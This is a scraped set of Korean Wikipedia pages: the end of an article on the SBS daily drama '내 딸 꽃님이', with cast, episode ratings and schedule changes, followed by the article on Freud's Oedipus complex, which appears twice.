지센 마케팅 팀장자리에 새로 부임하게 되는 팀장. 채경과는 미국 유학시절 과거 연인사이로 채경의 과거에 대해 알고 있다. 임도윤 : 푸른재활병원 작업치료실 실장 역 김나영 : 푸른재활병원의 작업치료사 선배 역 손미희 : 간호사 역 백민 김정수 : 혜진의 아버지 역 특별출연[편집] 이유리 : 카페 사장 역 시청률[편집] 최저 시청률과 최고 시청률은 시청률 조사회사와 지역별로 시청률에 차이가 있을 수 있습니다. 2011년 회차 방송일 TNMS 시청률[1] AGB 시청률[2] 대한민국(전국) 서울(수도권) 대한민국(전국) 서울(수도권) 제1회 11월 14일 10.1% 9.5% 9.2% ? 제2회 11월 15일 9.4% 9.9% 9% 9% 제3회 11월 16일 9.1% 9.1% 9.6% 9.3% 제4회 11월 17일 11.3% 10.6% 9.6% 9.6% 제5회 11월 18일 11.2% 9.9% 9.4% 9.4% 제6회 11월 21일 11% 10.3% 9.5% 9.8% 제7회 11월 22일 10.1% 10.5% 9.7% 9.9% 제8회 11월 23일 10.4% 9.5% 10.6% 11.1% 제9회 11월 24일 11.1% 11.7% 10.6% 10.5% 제10회 11월 25일 12.6% 11.8% 10.8% 10.7% 제11회 11월 28일 9.6% 9.2% 9.3% 9.3% 제12회 11월 29일 11.3% 12.1% 10.6% 10.9% 제13회 11월 30일 11% 11.3% 11.9% 12.3% 제14회 12월 1일 10.3% 10.9% 10% 10% 제15회 12월 2일 11.3% 11.2% 11.6% 11.6% 제16회 12월 5일 12.8% 12.5% 9.9% ? 제17회 12월 6일 12.4% 12.5% 9.6% 10.7% 제18회 12월 7일 12.8% 13.6% 9.9% 9.9% 제19회 12월 8일 11.7% 11.8% 11.4% 11.7% 제20회 12월 9일 11.7% 11.1% 11.4% 11.8% 제21회 12월 12일 12.4% 11.3% 11.5% 11.7% 제22회 12월 13일 12.8% 13.1% 11.8% 11.6% 제23회 12월 14일 12.4% 11.8% 11.4% 11.1% 제24회 12월 15일 13.3% 13.2% 11.3% 12% 제25회 12월 16일 12.4% 12.1% 11.9% 11.2% 제26회 12월 20일 12.6% 11.6% 12.2% 12.6% 제27회 12월 21일 12.4% 13.0% 11.6% 11.0% 제28회 12월 22일 12.3% 12.4% 12.1% 13.1% 제29회 12월 23일 13.3% 12.2% 12.1% 11.4% 제30회 12월 26일 13.2% 13% 12% 11.9% 제31회 12월 27일 13.6% 14.4% 13.1% 13.1% 제32회 12월 28일 13.6% 13.4% 14% 14.9% 제33회 12월 29일 13.2% 12.3% 11.9% 11.7% 제34회 12월 30일 13% 13.1% 11.8% 11.8% 2012년 제35회 1월 2일 13.4% 12.7% 14.3% 13.2% 제36회 1월 3일 15% 14.5% 15.3% 15% 제37회 1월 4일 13.5% 13.4% 14.6% 13.8% 제38회 1월 5일 14% 13.4% 14.6% 14.3% 제39회 1월 6일 13.9% 12.3% 15.1% 14.2% 제40회 1월 9일 14.8% 15% 14.6% 14.4% 제41회 1월 10일 14.7% 14.2% 15.6% 15.2% 제42회 1월 11일 14.8% 14.8% 14.9% 15% 제43회 1월 12일 14.6% 14.1% 14.8% 14.4% 제44회 1월 13일 14.4% 13.3% 14.1% 12.8% 제45회 1월 16일 15.8% 14.2% 16.8% 16.3% 제46회 1월 17일 16.9% 16.3% 16.8% 16.5% 제47회 1월 18일 14.4% 13.5% 14.4% 13.7% 제48회 1월 19일 16% 14.1% 15.6% 14.4% 제49회 1월 20일 14.2% 12.3% 14.7% 14% 제50회 1월 25일 12.9% 11.6% 14.8% 14.6% 제51회 1월 26일 14.4% 14.5% 14.8% 14.7% 제52회 1월 27일 14.3% 11.7% 16.6% 16.2% 제53회 1월 30일 14.4% 12% 15.5% 15.4% 제54회 1월 31일 15.8% 13.1% 15.8% 15.5% 제55회 2월 1일 15.7% 14.5% 15.8% 16.1% 제56회 2월 2일 16.2% 15.4% 17.7% 17.4% 제57회 2월 3일 17% 15.8% 16.6% 15.4% 제58회 2월 6일 15.9% 15.6% 16% 16.5% 제59회 2월 7일 17.7% 16.4% 16.9% 16.7% 제60회 2월 8일 16.1% 14.3% 16.6% 16.1% 제61회 2월 9일 17.3% 16.1% 15.7% 15% 제62회 2월 10일 17% 15.3% 16.7% 15.6% 제63회 2월 13일 17.4% 17.6% 16.1% 15.2% 제64회 2월 14일 16.4% 14.3% 16.1% 15.8% 제65회 2월 15일 16.2% 15.8% 15.5% 14.6% 제66회 2월 16일 17.7% 16.2% 16.4% 16.3% 제67회 2월 17일 19.9% 19.1% 16.4% 15.3% 제68회 2월 20일 18.8% 17.3% 16.6% 16.2% 제69회 2월 21일 17.2% 14.9% 16.4% 16% 제70회 2월 22일 16.4% 14.7% 16.8% 16.1% 제71회 2월 23일 16.9% 17.9% 15.4% 15.1% 제72회 2월 24일 17.6% 15.1% 17.4% 17.1% 제73회 2월 27일 16.1% 13.7% 16% 15.5% 제74회 2월 28일 16.6% 15.5% 15.8% 15.1% 제75회 2월 29일 14.7% 13.7% 15.5% 15.5% 제76회 3월 1일 17.7% 15.2% 17.1% 16.8% 제77회 3월 2일 18.1% 15.8% 16% 15.3% 제78회 3월 5일 17.9% 16.1% 16.8% 16.8% 제79회 3월 6일 15.5% 13.4% 15% 14.9% 제80회 3월 7일 17.1% 15.7% 15% 14.5% 제81회 3월 8일 16.8% 14.4% 16.3% 15% 제82회 3월 9일 16.7% 15.9% 16.3% 15.3% 제83회 3월 12일 18% 16.5% 17.5% 16.6% 제84회 3월 13일 18.3% 16.9% 16.2% 15.3% 제85회 3월 14일 18.7% 17.3% 16% 15.2% 제86회 3월 15일 18.1% 16.7% 18.2% 17.3% 제87회 3월 16일 19% 18% 18.4% 17.6% 제88회 3월 19일 17.5% 15.5% 16.8% 15.1% 제89회 3월 20일 16.3% 14.5% 16.8% 16% 제90회 3월 21일 18.1% 17.6% 15.5% 15.6% 제91회 3월 22일 19.1% 18.8% 16.9% 16.2% 제92회 3월 23일 19.6% 16.5% 17.2% 16.1% 제93회 3월 26일 17.9% 15.7% 16% 14.5% 제94회 3월 27일 20.1% 18.7% 17% 16.5% 제95회 3월 28일 16.7% 13.7% 14.6% 13.8% 제96회 3월 29일 17.3% 14.8% 15.6% 15% 제97회 3월 30일 19% 15.8% 17.2% 16.4% 제98회 4월 2일 19% 18.1% 14.6% 13.3% 제99회 4월 3일 17.6% 15.6% 16% 15.2% 제100회 4월 4일 15.1% 13.3% 16.3% 15.6% 제101회 4월 5일 17.4% 16.5% 16.1% 15.6% 제102회 4월 6일 18.3% 16.8% 15.5% 14.6% 제103회 4월 9일 17.3% 15.8% 15.6% 14.1% 제104회 4월 10일 18.6% 15.6% 16.7% 16.2% 제105회 4월 12일 17.4% 16.5% 16.7% 16% 제106회 4월 13일 18.3% 16.7% 16.7% 15.3% 제107회 4월 16일 18.8% 17% 17.1% 16% 제108회 4월 17일 17.4% 14.8% 16.1% 15% 제109회 4월 18일 16.9% 15% 16.1% 15.7% 제110회 4월 19일 19.2% 16.2% 17.1% 15.6% 제111회 4월 20일 17.2% 15.3% 17.3% 16.6% 제112회 4월 23일 18.3% 16.2% 17.1% 16.5% 제113회 4월 24일 18.8% 17.2% 16.1% 15.2% 제114회 4월 25일 21% 19.2% 18.5% 17.2% 제115회 4월 26일 18% 15.6% 16% 15.5% 제116회 4월 27일 18.6% 17.2% 16.8% 16.2% 제117회 4월 30일 17.3% 13.8% 16.2% 15.1% 제118회 5월 1일 17.9% 15.2% 16.2% 15.1% 제119회 5월 2일 16.5% 14.5% 16.6% 16.1% 제120회 5월 3일 18.1% 16.4% 16.4% 16.3% 제121회 5월 4일 16.8% 15.3% 16.3% 15.5% 제122회 5월 7일 16.3% 16.1% 14.7% 14% 제123회 5월 8일 14.9% 12.6% 13.7% 13.5% 제124회 5월 9일 15.2% 15.6% 14.7% 14.6% 제125회 5월 10일 16.2% 14.3% 15.4% 14.5% 제126회 5월 11일 16% 15.3% 15.6% 15.5% 제127회 5월 14일 18.9% 19.1% 15.9% 15.2% 제128회 5월 15일 15.2% 16.4% 14.8% 14.6% 제129회 5월 16일 14.9% 14.3% 14% 14% 제130회 5월 17일 17% 16.7% 15.8% 15.6% 제131회 5월 18일 16.3% 15.5% 14.9% 14.2% 수상[편집] 2011년 SBS 연기대상 뉴 스타상 진세연 결방과 연장[편집] 2011년 12월 19일 : 김정일 사망 특집 《SBS 8시 뉴스》 편성으로 인해 결방[3] 2012년 1월 23일, 1월 24일 : 설 특집 프로그램 편성으로 인해 결방[4] 2012년 2월 13일 : 내 딸 꽃님이 방영 분량이 120부작에서 11회 연장되어 131부작으로 변경.확정되었다. 2012년 4월 11일 : 대한민국 제19대 총선 개표방송 《2012 국민의 선택》 편성으로 인해 결방[5] 경쟁 프로그램[편집] 당신 뿐이야 (KBS 1TV) 별도 달도 따줄게 (KBS 1TV) 하이킥! 짧은 다리의 역습 오늘만 같아라 (이상 MBC.) 청담동 살아요 (JTBC TV) 각주[편집] ↑ TNMS 홈페이지[깨진 링크(과거 내용 찾기)] ↑ AGB닐슨 미디어리서치 홈페이지[깨진 링크(과거 내용 찾기)] ↑ 송승은 (2011년 12월 19일). “'김정일 사망' 특집 방송…SBS '내 딸 꽃님이'-'힐링캠프' 19일 결방”. TV 리포트.  ↑ 홈지기 (2012년 1월 19일). “2012년 설 연휴로 인한 결방 안내입니다”. 《시청자 게시판》. SBS 홈페이지. 2012년 3월 16일에 확인함.  ↑ 대중문화부 (2012년 4월 11일). “지상파 3사 4 · 11 총선개표방송으로 드라마 편성 변경”. 스포츠경향.  외부 링크[편집] 내 딸 꽃님이 - 공식 웹사이트 SBS 일일드라마 이전 작품 작품명 다음 작품 당신이 잠든 사이(2011년 5월 16일 ~ 2011년 11월 9일) 내 딸 꽃님이(2011년 11월 14일 ~ 2012년 5월 18일) 그래도 당신 (2012년 5월 21일 ~ 2012년 12월 3일) 원본 주소 "https://ko.wikipedia.org/w/index.php?title=내_딸_꽃님이&oldid=23746164" 분류: 2011년 드라마2012년 드라마SBS 일일드라마2010년대 대한민국의 텔레비전 프로그램가족 드라마숨은 분류: 깨진 링크를 가지고 있는 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 EnglishBahasa IndonesiaItalianoBahasa Melayu中文 링크 편집 이 문서는 2019년 2월 21일 (목) 14:35에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
오이디푸스 콤플렉스 - 위키백과, 우리 모두의 백과사전 오이디푸스 콤플렉스 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 구스타프 모로의 스핑크스와 오이디푸스 오이디푸스 콤플렉스(독일어: Oedipuskomplex) 또는 오이디푸스 컴플렉스(영어: Oedipus complex)는 지그문트 프로이트가 제시한 개념이다. 남근기에 생기기 시작하는 무의식적인 갈등으로 제시되었다. 프로이트 정신분석학에서는 남녀 모두에 적용되는 용어이며, 정신 발달의 중요한 전환점이자 신경증의 발병 단계로 주목 받고 있다. 목차 1 개요 2 남아의 오이디푸스 콤플렉스 2.1 정신구조의 형성 3 여아의 오이디푸스 콤플렉스 3.1 남아의 차이점 4 영향 4.1 이성 관계 5 참고 문헌 6 같이 보기 7 각주 개요[편집] 오이디푸스 콤플렉스는 어머니를 손에 넣으려는, 또한 아버지에 대한 강한 반항심을 품고 있는 앰비밸런스적인 심리를 받아들이는 상황을 말한다. 프로이트는 이 심리 상황 속에서 볼 수 있는 어머니에 대한 근친상간적인 욕망을 그리스 비극의 하나 '오이디푸스'(오이디푸스 왕)에 빗대어 《오이디푸스 콤플렉스》라고 불렀다 ('오이디푸스'는 몰랐다고는 하지만, 부왕을 죽이고 자신의 어머니와 결혼했다는 이야기이다). 남아의 오이디푸스 콤플렉스[편집] 먼저 아이는 어머니를 얻기 위해, 아버지와 같은 위치를 쟁취하려고 한다. 남아에게 어머니는 이성이고 그러므로 사랑의 대상이다. 아이는 아버지와 같은 남자가 되려하는 동일화가 강하게 나타난다. 아이는 곧 아버지를 배제하고 싶어 한다. 그러나 아이에게 아버지는 절대적인 존재이기 때문에, 아버지의 무서움을 안다. 처음에는 막연한 불안과 증오만을 품고 있지 않지만, 아이가 실제로 어머니에게 붙어 있으면, 아버지는 "너의 성기를 거세할거야"라고 위협하는 것이라고 말한다. 그러나 이 말은 실제로 말하는 것은 아니며, 대부분의 아이는 이 위협을 무의식적인 거세 불안으로 느끼게 된다. 이렇게 아이는 딜레마에 빠진다. 어머니를 요구하면, "음경은 거세된다 "고 생각하고, 아버지에게 무릎 꿇고 아버지에게 사랑받는 어머니의 입장을 이해한다면, 아이는 "성기가 거세되고 있다"고 느끼는 것이며, 어느 쪽이든 성기를 유지하기 위해 갈등에 빠져 있기 때문이다. 이 때 아이는 자신의 성기를 유지하기 위해 근친상간을 하려는 욕망을 포기하고, 또한 아버지와 충돌하는 일도 포기하고 부모와 다른 방향으로 걸어 나간다. 이렇게 오이디푸스 콤플렉스는 극복되고, 아이들은 성기를 유지하면서도 사회에 진출한다. 그 시기는 잠복기라고하며, 유아적인 욕구(성적 욕망)의 의식화를 억제하고, 대부분 표출하지 않게 되는 것이다. 정신구조의 형성[편집] 오이디푸스 콤플렉스에는 두 측면이 생긴다. 아이는 마지막으로 이 갈등에서 벗어나기 위해 부모를 버리는 것이지만, 아이는 아버지와 투쟁하기 위하여 "동일화"하고 강한 남성적인 측면과 아버지에게는 안된다라는 금지 사례를 초자아로 형성될 것이다. 그것은 양심과 윤리감이나 이상으로 유지되고 잠복기 이후의 아이의 행동을 통제하게 된다. 또한 오이디푸스 콤플렉스 갈등을 극복하고, 아이들은 근친상간적인 소망이나 이에 따르는 리비도 그것 거세 불안과 아버지에 대한 공격 마음 등을 무의식에 억압한다. 이러한 욕망은 오이디푸스 콤플렉스가 생길 때까지 아이의 생각을 그대로 표출되고, 이 갈등과 극복을 계기로 그들은 버려지는 것이 된다. 이 욕망은 무의식적으로 버려진다. 즉 무의식에 억압된다. 그리하여 그때까지 막연했던 의식과 무의식의 경계가 분명하게 형성된다. 아이에게 자아를 파생 분화시키고, 즉 억압에 의해 근친 상간적인 욕구와 거세 불안 등을 무의식적으로 억제하고 현실적인 자아를 만든다. 또한 동일화된 부분과 금지 사항이 합쳐져 초자아가 만들어진다. 이렇게 세 가지 정신 구조가 만들어지는 것이라고 프로이트는 주장하고 있다. 여아의 오이디푸스 콤플렉스[편집] 여아는 페니스가 없기 때문에 남아와 발전 과정이 다르다. 소녀도 소년처럼 처음에는 어머니에게 사랑을 계속 받고 있다. 소녀가 성장을 하면서 동성의 음핵이 작은 것을 보고 여성이 페니스가 없는 것을 서서히 인식하기 시작한다. 그러나 이 시점에서는 아직 소녀는 "어른이 되면 나도 성기가 날거야"라고 믿고 있다고 말한다. 그러나 어머니에게 페니스가 없는 것을 알게 되면 예감은 확신으로 변하기 시작한다. 소녀는 주위의 여자가 성기가 없는 열등한 존재이며, 또한 거세된 것이라고 생각한다. 이렇게 소녀는 성기가 없음으로 인한 열등감과 본격적인 거세 불안에 집착한다. 그리고 어머니에게 "왜 내 성기를 훌륭하게 낳아주지 않았나요?"라며 분노를 조준하게 된다. 이 때, 소녀는 세 가지 방법으로 이 거세 콤플렉스를 해결한다. 첫째는 "자신에게 페니스가 없는"것을 강하게 자각하고, 완전하게 페니스가 없는 존재로 받아들일 것이다. 이것은 열등감을 가진 여자를 만든다. 이 경우 무기력한 인간이 되어버린다고 한다. 둘째는 "자신은 페니스가 언젠가 나오고, 나는 남자"라고 믿고, 남성적인 성격을 갖출 경우이다. 세 번째는 성기라는 대상을 선망할 때 성기를 "페니스 → 아이"라는 상징으로 생각하고, 아이를 손에 넣는 길을 선택하는 경우이다. 이 경로로 나가면, 소녀는 그때까지 페니스처럼 취급하고 있던 클리토리스로부터 질로 리비도가 옮겨가 남자와 성교를 하여 아이를 얻는 활동으로 진행된다. (특히 남자아이를 얻는 것이 바로 상징적 남근을 얻는 방법이다) 소녀는 이 통찰을 계기로 본격적인 애정의 대상을 어머니에서 아버지로 바꾸게 된다. 엄마는 미워한 채로 아버지는 새로운 사랑의 대상이 된다. 하지만 자신에게 남근이 없다는 사실로 인하여 아버지와의 동일시는 어렵게 되고 이렇게 여아의 오이디푸스 콤플렉스가 발생하게 된다. (이는 프로이드가 여성주의자들에게 비판받는 지점이다. 이 비판의 이유를 살펴보자면 - 1.실제 여아에게는 이런 심리가 존재하지 않으며 2.여아에게 페니스의 부재는 열등감을 만들지 않고 성별 구분으로서의 의미만을 가질 뿐 3.여아는 페니스를 갈망 혹은 선망하지 않는다 4.반대로 어머니를 자신과 동일시하여 어머니의 가슴이나 엉덩이를 보며 성숙한 자신을 그린다 5.또한 소녀는 클리토리스를 페니스로 취급할 수 없다 6.클리토리스는 발기되기 이전에는 눈에 두드러지는 부분이 아니기 때문이다 7.시대에 걸맞춘 새로운 해석과 연구가 필요한 부분이다- 등의 의견이 있다. ) 남아의 차이점[편집] 남아는 거세 콤플렉스 (아버지에게 거세될 지도 모른다는 불안)로 인해 모친을 손에 넣는 것을 포기하고 오이디푸스 콤플렉스가 붕괴되기 때문에 근친상간의 욕망 등을 포기하게 된다. 그러나 소녀는 거세 콤플렉스가 생기고, 그것이 계기가 되어 어머니로부터 아버지에 대한 애정대상의 전환이 일어날 수 있다. 때문에 소녀는 언제나 아버지를 사랑하기 때문에 프로이트는 여아의 오이디푸스 콤플렉스는 언제까지나 계속되며, 붕괴하는 계기가 없다고 말하고 있다. 따라서 소녀는 소년처럼 강력한 초자아가 발생하지 않는다는 결론을 주장하고 있다. 프로이트는 여아의 경우도 오이디푸스 콤플렉스라는 용어를 사용했다. 남아도 여아도 같은 갈등 구조가 발생하기 때문이다. 제자 칼 융이 일렉트라 콤플렉스라는 용어를 제시했지만, 프로이트 자신은 그 말을 사용하지 않으며, 여아의 경우도 오이디푸스 콤플렉스라고 불렀다. 영향[편집] 이성 관계[편집] 오이디푸스 콤플렉스를 가진 어른의 이성은 연상의 어머니, 아버지 같은 사람을 선택하거나 연하를 선택한다. 어머니, 아버지 같은 사람을 선택하는 이유는 어린 시절 부터 지속된 유아적 의존 욕구를 그동안 부모로 부터 받아왔으며 그러한 욕구를 연장하고자 하기 때문이다. 반대로 연하를 선택하는 이유는 부모와의 이별에 대한 두려움이라는 오이디푸스적 갈등으로 자신 보다 오래 살만한 더 어린 사람을 선택 함으로써 그 두려움을 해소시키기 위함이다.[1] 참고 문헌[편집] 《지그문트 프로이드》, 야마모토 번역 '에로스 논집 치꾸마 학예 문고 같이 보기[편집] 마마보이(en:Mother's boy) 파파걸(Father's girl) 정신분석학 컴플렉스 일렉트라 컴플렉스 남근기 소아성애증 로리콘(로리타 컴플렉스) 각주[편집] ↑ 외디푸스 콤플렉스《경향신문》1980-04-14 원본 주소 "https://ko.wikipedia.org/w/index.php?title=오이디푸스_콤플렉스&oldid=22402592" 분류: 근친상간정신분석학콤플렉스숨은 분류: 독일어 표기를 포함한 문서영어 표기를 포함한 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 العربيةঅসমীয়াAsturianuAzərbaycancaBoarischБългарскиবাংলাBosanskiCatalàČeštinaDanskDeutschZazakiΕλληνικάEnglishEsperantoEspañolEestiEuskaraفارسیSuomiFrançaisGaeilgeGalegoગુજરાતીעבריתहिन्दीHrvatskiMagyarՀայերենBahasa IndonesiaÍslenskaItaliano日本語La .lojban.ქართულიKabɩyɛKurdîLatinaLietuviųമലയാളംBahasa MelayuمازِرونیNederlandsNorskOccitanਪੰਜਾਬੀPolskiPortuguêsRomânăРусскийScotsسنڌيSrpskohrvatski / српскохрватскиSlovenčinaSlovenščinaСрпски / srpskiSvenskaதமிழ்ไทยTagalogTürkçeУкраїнськаTiếng Việt中文 링크 편집 이 문서는 2018년 9월 15일 (토) 14:51에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
오이디푸스 콤플렉스 - 위키백과, 우리 모두의 백과사전 오이디푸스 콤플렉스 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 구스타프 모로의 스핑크스와 오이디푸스 오이디푸스 콤플렉스(독일어: Oedipuskomplex) 또는 오이디푸스 컴플렉스(영어: Oedipus complex)는 지그문트 프로이트가 제시한 개념이다. 남근기에 생기기 시작하는 무의식적인 갈등으로 제시되었다. 프로이트 정신분석학에서는 남녀 모두에 적용되는 용어이며, 정신 발달의 중요한 전환점이자 신경증의 발병 단계로 주목 받고 있다. 목차 1 개요 2 남아의 오이디푸스 콤플렉스 2.1 정신구조의 형성 3 여아의 오이디푸스 콤플렉스 3.1 남아의 차이점 4 영향 4.1 이성 관계 5 참고 문헌 6 같이 보기 7 각주 개요[편집] 오이디푸스 콤플렉스는 어머니를 손에 넣으려는, 또한 아버지에 대한 강한 반항심을 품고 있는 앰비밸런스적인 심리를 받아들이는 상황을 말한다. 프로이트는 이 심리 상황 속에서 볼 수 있는 어머니에 대한 근친상간적인 욕망을 그리스 비극의 하나 '오이디푸스'(오이디푸스 왕)에 빗대어 《오이디푸스 콤플렉스》라고 불렀다 ('오이디푸스'는 몰랐다고는 하지만, 부왕을 죽이고 자신의 어머니와 결혼했다는 이야기이다). 남아의 오이디푸스 콤플렉스[편집] 먼저 아이는 어머니를 얻기 위해, 아버지와 같은 위치를 쟁취하려고 한다. 남아에게 어머니는 이성이고 그러므로 사랑의 대상이다. 아이는 아버지와 같은 남자가 되려하는 동일화가 강하게 나타난다. 아이는 곧 아버지를 배제하고 싶어 한다. 그러나 아이에게 아버지는 절대적인 존재이기 때문에, 아버지의 무서움을 안다. 처음에는 막연한 불안과 증오만을 품고 있지 않지만, 아이가 실제로 어머니에게 붙어 있으면, 아버지는 "너의 성기를 거세할거야"라고 위협하는 것이라고 말한다. 그러나 이 말은 실제로 말하는 것은 아니며, 대부분의 아이는 이 위협을 무의식적인 거세 불안으로 느끼게 된다. 이렇게 아이는 딜레마에 빠진다. 어머니를 요구하면, "음경은 거세된다 "고 생각하고, 아버지에게 무릎 꿇고 아버지에게 사랑받는 어머니의 입장을 이해한다면, 아이는 "성기가 거세되고 있다"고 느끼는 것이며, 어느 쪽이든 성기를 유지하기 위해 갈등에 빠져 있기 때문이다. 이 때 아이는 자신의 성기를 유지하기 위해 근친상간을 하려는 욕망을 포기하고, 또한 아버지와 충돌하는 일도 포기하고 부모와 다른 방향으로 걸어 나간다. 이렇게 오이디푸스 콤플렉스는 극복되고, 아이들은 성기를 유지하면서도 사회에 진출한다. 그 시기는 잠복기라고하며, 유아적인 욕구(성적 욕망)의 의식화를 억제하고, 대부분 표출하지 않게 되는 것이다. 정신구조의 형성[편집] 오이디푸스 콤플렉스에는 두 측면이 생긴다. 아이는 마지막으로 이 갈등에서 벗어나기 위해 부모를 버리는 것이지만, 아이는 아버지와 투쟁하기 위하여 "동일화"하고 강한 남성적인 측면과 아버지에게는 안된다라는 금지 사례를 초자아로 형성될 것이다. 그것은 양심과 윤리감이나 이상으로 유지되고 잠복기 이후의 아이의 행동을 통제하게 된다. 또한 오이디푸스 콤플렉스 갈등을 극복하고, 아이들은 근친상간적인 소망이나 이에 따르는 리비도 그것 거세 불안과 아버지에 대한 공격 마음 등을 무의식에 억압한다. 이러한 욕망은 오이디푸스 콤플렉스가 생길 때까지 아이의 생각을 그대로 표출되고, 이 갈등과 극복을 계기로 그들은 버려지는 것이 된다. 이 욕망은 무의식적으로 버려진다. 즉 무의식에 억압된다. 그리하여 그때까지 막연했던 의식과 무의식의 경계가 분명하게 형성된다. 아이에게 자아를 파생 분화시키고, 즉 억압에 의해 근친 상간적인 욕구와 거세 불안 등을 무의식적으로 억제하고 현실적인 자아를 만든다. 또한 동일화된 부분과 금지 사항이 합쳐져 초자아가 만들어진다. 이렇게 세 가지 정신 구조가 만들어지는 것이라고 프로이트는 주장하고 있다. 여아의 오이디푸스 콤플렉스[편집] 여아는 페니스가 없기 때문에 남아와 발전 과정이 다르다. 소녀도 소년처럼 처음에는 어머니에게 사랑을 계속 받고 있다. 소녀가 성장을 하면서 동성의 음핵이 작은 것을 보고 여성이 페니스가 없는 것을 서서히 인식하기 시작한다. 그러나 이 시점에서는 아직 소녀는 "어른이 되면 나도 성기가 날거야"라고 믿고 있다고 말한다. 그러나 어머니에게 페니스가 없는 것을 알게 되면 예감은 확신으로 변하기 시작한다. 소녀는 주위의 여자가 성기가 없는 열등한 존재이며, 또한 거세된 것이라고 생각한다. 이렇게 소녀는 성기가 없음으로 인한 열등감과 본격적인 거세 불안에 집착한다. 그리고 어머니에게 "왜 내 성기를 훌륭하게 낳아주지 않았나요?"라며 분노를 조준하게 된다. 이 때, 소녀는 세 가지 방법으로 이 거세 콤플렉스를 해결한다. 첫째는 "자신에게 페니스가 없는"것을 강하게 자각하고, 완전하게 페니스가 없는 존재로 받아들일 것이다. 이것은 열등감을 가진 여자를 만든다. 이 경우 무기력한 인간이 되어버린다고 한다. 둘째는 "자신은 페니스가 언젠가 나오고, 나는 남자"라고 믿고, 남성적인 성격을 갖출 경우이다. 세 번째는 성기라는 대상을 선망할 때 성기를 "페니스 → 아이"라는 상징으로 생각하고, 아이를 손에 넣는 길을 선택하는 경우이다. 이 경로로 나가면, 소녀는 그때까지 페니스처럼 취급하고 있던 클리토리스로부터 질로 리비도가 옮겨가 남자와 성교를 하여 아이를 얻는 활동으로 진행된다. (특히 남자아이를 얻는 것이 바로 상징적 남근을 얻는 방법이다) 소녀는 이 통찰을 계기로 본격적인 애정의 대상을 어머니에서 아버지로 바꾸게 된다. 엄마는 미워한 채로 아버지는 새로운 사랑의 대상이 된다. 하지만 자신에게 남근이 없다는 사실로 인하여 아버지와의 동일시는 어렵게 되고 이렇게 여아의 오이디푸스 콤플렉스가 발생하게 된다. (이는 프로이드가 여성주의자들에게 비판받는 지점이다. 이 비판의 이유를 살펴보자면 - 1.실제 여아에게는 이런 심리가 존재하지 않으며 2.여아에게 페니스의 부재는 열등감을 만들지 않고 성별 구분으로서의 의미만을 가질 뿐 3.여아는 페니스를 갈망 혹은 선망하지 않는다 4.반대로 어머니를 자신과 동일시하여 어머니의 가슴이나 엉덩이를 보며 성숙한 자신을 그린다 5.또한 소녀는 클리토리스를 페니스로 취급할 수 없다 6.클리토리스는 발기되기 이전에는 눈에 두드러지는 부분이 아니기 때문이다 7.시대에 걸맞춘 새로운 해석과 연구가 필요한 부분이다- 등의 의견이 있다. ) 남아의 차이점[편집] 남아는 거세 콤플렉스 (아버지에게 거세될 지도 모른다는 불안)로 인해 모친을 손에 넣는 것을 포기하고 오이디푸스 콤플렉스가 붕괴되기 때문에 근친상간의 욕망 등을 포기하게 된다. 그러나 소녀는 거세 콤플렉스가 생기고, 그것이 계기가 되어 어머니로부터 아버지에 대한 애정대상의 전환이 일어날 수 있다. 때문에 소녀는 언제나 아버지를 사랑하기 때문에 프로이트는 여아의 오이디푸스 콤플렉스는 언제까지나 계속되며, 붕괴하는 계기가 없다고 말하고 있다. 따라서 소녀는 소년처럼 강력한 초자아가 발생하지 않는다는 결론을 주장하고 있다. 프로이트는 여아의 경우도 오이디푸스 콤플렉스라는 용어를 사용했다. 남아도 여아도 같은 갈등 구조가 발생하기 때문이다. 제자 칼 융이 일렉트라 콤플렉스라는 용어를 제시했지만, 프로이트 자신은 그 말을 사용하지 않으며, 여아의 경우도 오이디푸스 콤플렉스라고 불렀다. 영향[편집] 이성 관계[편집] 오이디푸스 콤플렉스를 가진 어른의 이성은 연상의 어머니, 아버지 같은 사람을 선택하거나 연하를 선택한다. 어머니, 아버지 같은 사람을 선택하는 이유는 어린 시절 부터 지속된 유아적 의존 욕구를 그동안 부모로 부터 받아왔으며 그러한 욕구를 연장하고자 하기 때문이다. 반대로 연하를 선택하는 이유는 부모와의 이별에 대한 두려움이라는 오이디푸스적 갈등으로 자신 보다 오래 살만한 더 어린 사람을 선택 함으로써 그 두려움을 해소시키기 위함이다.[1] 참고 문헌[편집] 《지그문트 프로이드》, 야마모토 번역 '에로스 논집 치꾸마 학예 문고 같이 보기[편집] 마마보이(en:Mother's boy) 파파걸(Father's girl) 정신분석학 컴플렉스 일렉트라 컴플렉스 남근기 소아성애증 로리콘(로리타 컴플렉스) 각주[편집] ↑ 외디푸스 콤플렉스《경향신문》1980-04-14 원본 주소 "https://ko.wikipedia.org/w/index.php?title=오이디푸스_콤플렉스&oldid=22402592" 